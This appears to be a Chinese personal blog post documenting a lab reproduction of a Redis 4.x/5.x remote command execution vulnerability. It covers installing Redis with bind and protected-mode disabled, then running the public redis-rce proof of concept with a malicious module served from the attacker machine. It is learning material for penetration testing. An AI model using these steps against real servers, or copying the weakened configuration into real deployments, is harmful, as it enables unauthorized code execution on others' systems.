Redis远程命令执行漏洞复现

本文首发于我的个人博客,记录了我在实验室学习渗透测试所做的第二个漏洞复现,全部过程记录在此,以便后续查看,同时也希望本文能对您有所帮助。

同时,若文章有什么错误,请到我的个人博客进行核对,或者请在评论区告知,谢谢!

前言

Redis简介

Redis是一个高性能的key-value存储系统,支持多种value类型,提供了Java, C/C++, C#, PHP, JavaScript, Perl, Object-C, Python, Ruby, Erlang等客户端。

实验环境

  • 攻击机:Kali 192.168.227.128
  • 靶机:Kali 192.168.227.129
  • 影响范围:Redis4.x、5.x

靶机安装Redis包

  1. 下载Redis包:

    wget download.redis.io/releases/redis-4.0.11.tar.gz
    

  2. 解压安装包

    tar xzvf redis-4.0.11.tar.gz
    

    当前目录下会出现一个名为``redis-4.0.11`的文件夹。

  3. make安装

    进入文件夹,在usr/local/redis目录下安装redis:

    make PREFIX=/usr/local/redis install
    

    之后命令行刷屏,等待一会后,出现如下提示,安装结束:

  4. 检查安装是否有问题

    安装命令行提示,输入:

    make test
    

    等待一会儿,若出现以下提示,说明测试通过,安装已完成:

  5. 拷贝源码中的redis.conf到/usr/local/redis中

    cp /redis-4.0.11/redis.conf /usr/local/redis
    
  6. 修改redis.conf

    进入/usr/local/redis目录,打开redis.conf,做出以下修改:

    • 找到未注释的bind 127.0.0.1,并注释掉
    • 修改protected-mode属性为no(可通过IP访问)
    • 修改daemonize属性为yes(标识redis以后台方式启动)
  7. 服务端启动服务

    进入/usr/local/redis/bin目录下,执行如下命令:

    ./redis-server /usr/local/redis/redis.conf
    

    结果如下:

  8. 启动客户端连接并测试

    同样在bin目录下,执行如下命令:

    ./redis-cli
    

    结果如下:

攻击

攻击机中需要下载RedisModules-ExecuteCommandpoc

  1. 下载RedisModules-ExecuteCommand

    git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git
    

    然后进入RedisModules-ExcuteCommand目录,直接make编译:

    make
    
  2. 下载poc

    git clone https://github.com/Ridter/redis-rce.git
    
  3. 复制

    将RedisMoudules-ExecuteCommand/src下的modules.so文件复制到poc目录(redis-rce)下。

  4. 安装需要的库

    我在运行redis.rce.py时,提示我缺少six这个库,需要pip安装。首先安装pip:

    curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py
    

    安装完成后,当前目录下会出现一个get-pip.py文件,运行后就可以使用pip了:

    python get-pip.py
    

    然后就可以安装需要的库:

    pip install six
    
  5. 运行poc

    在redis-rce目录下,命令行键入:

    Python redis-rce.py -r 目标机ip -L 攻击机ip -f module.so
    

    结果如下:

原文地址:https://www.cnblogs.com/Alleyn180400524/p/13526419.html